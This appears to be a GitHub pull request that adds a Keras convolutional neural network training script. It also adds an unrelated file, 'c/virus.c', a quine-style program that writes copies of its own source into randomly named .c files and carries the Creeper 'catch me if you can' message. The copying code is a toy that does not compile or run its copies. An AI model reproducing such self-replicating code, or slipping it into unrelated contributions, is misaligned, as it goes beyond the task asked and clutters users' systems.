Skip to content
This repository has been archived by the owner on Oct 23, 2018. It is now read-only.

Convolutional neural network py #4642

Open
wants to merge 4 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
102 changes: 102 additions & 0 deletions Python/cnn_02.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,102 @@
from keras.preprocessing.image import ImageDataGenerator
from keras.models import Sequential
from keras.layers import Conv2D, MaxPooling2D
from keras.layers import Activation, Dropout, Flatten, Dense
from keras import backend as K
from keras.preprocessing import image
import numpy as np

# SET THE DIMENSIONS OF THE IMAGES BEING USED
img_width, img_height = 150,150

# SET THE TRAIN, TEST AND VALIDATION DIRECTORIES (PLACED ON DESKTOP)
train_data_dir = 'data/train'
test_data_dir = 'data/test'
validation_data_dir = 'data/validation'

# SET THE NUMBER OF SAMPLES FOR TRAINING AND VALIDATION
nb_train_samples = 1000
nb_validation_samples = 100

# SET THE NUMBER OF EPOCHS
epochs = 20

# SET THE BATCH SIZE
batch_size = 16

if K.image_data_format() == 'channels_first':
input_shape = (3, img_width, img_height)
else:
input_shape = (img_width, img_height, 3)

#CONVOLUTIONAL NEURAL NETWORK MODEL HERE
model = Sequential()
model.add(Conv2D(32, (3, 3), input_shape=input_shape))
model.add(Activation('relu'))
model.add(MaxPooling2D(pool_size=(2, 2)))

model.add(Conv2D(32, (3, 3)))
model.add(Activation('relu'))
model.add(MaxPooling2D(pool_size=(2, 2)))
model.add(Conv2D(64, (3, 3)))
model.add(Activation('relu'))
model.add(MaxPooling2D(pool_size=(2, 2)))
model.add(Flatten())
model.add(Dense(64))
model.add(Activation('relu'))
model.add(Dropout(0.5))
model.add(Dense(1))
model.add(Activation('sigmoid'))
model.compile(loss='binary_crossentropy',
optimizer='rmsprop',
metrics=['accuracy'])

# THE FOLLOWING CODE WILL LOAD THE TRAINING AND VALIDATION DATA TO YOUR MODEL NAMED model
train_datagen = ImageDataGenerator(
rescale=1. / 255,
rotation_range=90,
shear_range=0.2,
zoom_range=0.2,
horizontal_flip=True)

test_datagen = ImageDataGenerator(rescale=1. / 255)

train_generator = train_datagen.flow_from_directory(
train_data_dir,
target_size=(img_width, img_height),
batch_size=batch_size,
class_mode='binary')

validation_generator = test_datagen.flow_from_directory(
validation_data_dir,
target_size=(img_width, img_height),
batch_size=batch_size,
class_mode='binary')

model.fit_generator(
train_generator,
steps_per_epoch=nb_train_samples // batch_size,
epochs=epochs,
validation_data=validation_generator,
validation_steps=nb_validation_samples // batch_size)

# DISPLAY THE CLASS NAME AND INDEX USED FOR TRAINING
print "Class : Index"
print train_generator.class_indices

# THE FOLLOWING CODE WILL FEED THE TEST DATA TO YOUR MODEL NAMED model
test_datagen = ImageDataGenerator(rescale=1. / 255)

validation_generator = test_datagen.flow_from_directory(
test_data_dir,
target_size=(img_width, img_height),
batch_size=batch_size,
class_mode='binary')

predict= model.predict_generator(
validation_generator,
nb_validation_samples // batch_size)

# DISPLAY THE PREDICTED CLASS FOR EACH SAMPLE
print predict

39 changes: 39 additions & 0 deletions c/virus.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,39 @@
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>

int main() {
int i;
int ID;
ID = (1207274233 % 3) + 2;
for(i = 1; i <= ID; i++){
char buffer[12];
srand(time(NULL)*i);
sprintf(buffer,"%d",rand()%1000);
strcat(buffer,".c");
FILE* fp;
fp = fopen(buffer,"w");
char *s1="#include <stdio.h>%c#include <stdlib.h>%c#include <time.h>%c#include <string.h>%c%cint main() {%c%cint i;%c%cint ID;%c%cID = (1207274233 % 3) + 2;%c%cfor(i = 1; i <= ID; i++){%c%c%cchar buffer[12];%c%c%csrand(time(NULL)*i);%c%c%csprintf(buffer,%c%cd%c,rand()%1000);%c%c%cstrcat(buffer,%c.c%c);%c%c%cFILE* fp;%c%c%cfp = fopen(buffer,%cw%c);%c";
char *s2="%c%cchar *s%c=%c%s%c;%c%c%cchar *s%c=%c%s%c;%c";
char *s3="%c%cchar n='%cn', q='%c', b='%c%c', t='%ct', s='%';%c";
char *sp="fprintf(fp,";
char *s4="%c%c%ss1,n,n,n,n,n,n,t,n,t,n,t,n,t,n,t,t,n,t,t,n,t,t,q,s,q,n,t,t,q,q,n,t,t,n,t,t,q,q,n);%c";
char *s5="%c%c%ss2,t,t,'1',q,s1,q,n,t,t,'2',q,s2,q,n); %ss2,t,t,'3',q,s3,q,n,t,t,'p',q,sp,q,n);%c";
char *s6="%c%c%ss2,t,t,'4',q,s4,q,n,t,t,'5',q,s5,q,n); %ss2,t,t,'6',q,s6,q,n,t,t,'7',q,s7,q,n);%c";
char *s7="%c%c%ss2,t,t,'8',q,s8,q,n,t,t,'9',q,s9,q,n); %ss2,t,t,'0',q,s0,q,n,t,t,'x',q,sx,q,n);%c";
char *s8="%c%c%ss3,t,t,b,q,b,b,b,n); %ss4,t,t,sp,n); %ss5,t,t,sp,sp,n);%c";
char *s9="%c%c%ss6,t,t,sp,sp,n); %ss7,t,t,sp,sp,n); %ss8,t,t,sp,sp,sp,n);%c";
char *s0="%c%c%ss9,t,t,sp,sp,sp,n); %ss0,t,t,sp,sp,n,t,t,n,t,n);%c%c%cfclose(fp);%c%c}%c}";
char *sx="--- I am the creeper, catch me if you can. ---";
char n='\n', q='"', b='\\', t='\t', s='%';
fprintf(fp,s1,n,n,n,n,n,n,t,n,t,n,t,n,t,n,t,t,n,t,t,n,t,t,q,s,q,n,t,t,q,q,n,t,t,n,t,t,q,q,n);
fprintf(fp,s2,t,t,'1',q,s1,q,n,t,t,'2',q,s2,q,n); fprintf(fp,s2,t,t,'3',q,s3,q,n,t,t,'p',q,sp,q,n);
fprintf(fp,s2,t,t,'4',q,s4,q,n,t,t,'5',q,s5,q,n); fprintf(fp,s2,t,t,'6',q,s6,q,n,t,t,'7',q,s7,q,n);
fprintf(fp,s2,t,t,'8',q,s8,q,n,t,t,'9',q,s9,q,n); fprintf(fp,s2,t,t,'0',q,s0,q,n,t,t,'x',q,sx,q,n);
fprintf(fp,s3,t,t,b,q,b,b,b,n); fprintf(fp,s4,t,t,sp,n); fprintf(fp,s5,t,t,sp,sp,n);
fprintf(fp,s6,t,t,sp,sp,n); fprintf(fp,s7,t,t,sp,sp,n); fprintf(fp,s8,t,t,sp,sp,sp,n);
fprintf(fp,s9,t,t,sp,sp,sp,n); fprintf(fp,s0,t,t,sp,sp,n,t,t,n,t,n);
fclose(fp);
}
}